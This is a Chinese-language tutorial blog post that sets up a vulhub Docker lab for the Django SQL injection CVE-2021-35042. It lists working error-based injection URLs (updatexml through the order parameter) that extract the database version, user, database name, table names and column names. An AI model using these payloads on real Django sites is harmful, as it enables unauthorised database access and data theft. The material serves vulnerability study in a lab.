当前位置: 首页 > news >正文

Python 开发 框架安全:Django SQL注入漏洞测试.(CVE-2021-35042)

什么是 Django 框架

Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库,使得开发 Web 应用程序变得更加容易和高效。Django 遵循了“MTV”(模型-模板-视图)的设计模式,将应用程序的不同组件分离开来,使得开发人员可以更加专注于应用程序的不同方面。Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。


目录:

什么是 Django 框架

开启 漏洞 靶场:

(1)查看目录:

(2)启用 vulhub 漏洞:

(3)进行浏览:主机的 8000 端口.

进行 漏洞 测试:

(1)寻找 URL 有输入点的地方就行:

(2)构造报错注入进行攻击获取数据:(查询根目录信息)

(3)构造报错注入进行攻击获取数据:(查询数据库版本信息)

(4)构造报错注入进行攻击获取数据:(查当前用户)

(5)构造报错注入进行攻击获取数据:(查当前数据库)

(6)构造报错注入进行攻击获取数据:(查表)

(7)构造报错注入进行攻击获取数据:(查字段)


开启 漏洞 靶场:

Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客


(1)查看目录:

(1)cd vulhub(2)ls

​ 


(2)启用 vulhub 漏洞:

(1)cd django             // 切换到对应的漏洞目录.(2)cd CVE-2021-35042              // 切换到对应的漏洞版本.(3)docker-compose build           // 建立容器(4)docker-compose up -d           // 启用漏洞环境.(5)docker ps                      // 查看环境运行状态

​ 


(3)进行浏览:主机的 8000 端口.


进行 漏洞 测试:

(1)怎么测试框架类型.(浏览器安装插件检测 Wappalyzer )


(2)寻找 URL 有输入点的地方就行:

例如:http://172.16.10.19:8000//vuln/?order=后面就是写SQL语句的查询.


(3)构造报错注入进行攻击获取数据:(查询根目录信息)

/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23


(4)构造报错注入进行攻击获取数据:(查询数据库版本信息)

/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23


(5)构造报错注入进行攻击获取数据:(查当前用户)

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20user%28%29%29%29,1%29%23


(6)构造报错注入进行攻击获取数据:(查当前数据库

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20database%28%29%29%29,1%29%23


(7)构造报错注入进行攻击获取数据:(查表

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=database%28%29%29%29,1%29%23


(8)构造报错注入进行攻击获取数据:(查字段)

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%29,0x5c%29,1%29%23

   

http://www.lryc.cn/news/346689.html

相关文章:

  • 《Python编程从入门到实践》day25
  • Unity 性能优化之光照优化(七)
  • C语言 | Leetcode C语言题解之第84题柱状图中最大的矩形
  • AI办公自动化-用kimi批量重命名Word文档
  • Golang 并发 Mutex 互斥锁的使用
  • 20232906 2023-2024-2 《网络与系统攻防技术》第九次作业
  • 常见的十二种软件架构
  • 数据库出现死锁的解决方法参考
  • HCIP-Datacom-ARST自选题库_01_防火墙【6道题】
  • 力扣/leetcode383.比特位记数
  • react18【系列实用教程】useEffect —— 副作用操作 (2024最新版)
  • Excel 分组汇总后删除明细
  • docker runc升级1.1.12
  • C++接口:构建模块化与可扩展的软件架构
  • 【讲解下目标追踪】
  • 实时Linux对EtherCAT工业自动化协议的支持
  • ViLT 浅析
  • 7-117 死亡隧道
  • java数据结构与算法(链表归并排序)
  • 最新网页版USB转串口芯片CH340中文规格书手册(20240511)
  • 关于 MongoDB 数据库基本操作的详细介绍
  • 【网络基础】网络层 之 IP协议与分片、网段划分、IP地址分类、子网掩码与路由
  • C语言实现猜数字小游戏
  • iOS Failed to create provisioning profile.
  • 122. Kafka问题与解决实践
  • Pytorch常用的函数(九)torch.gather()用法
  • 用爬虫解决问题
  • 机器学习-有监督学习
  • 【详细介绍下Visual Studio】
  • 【Golang】实现 Excel 文件下载功能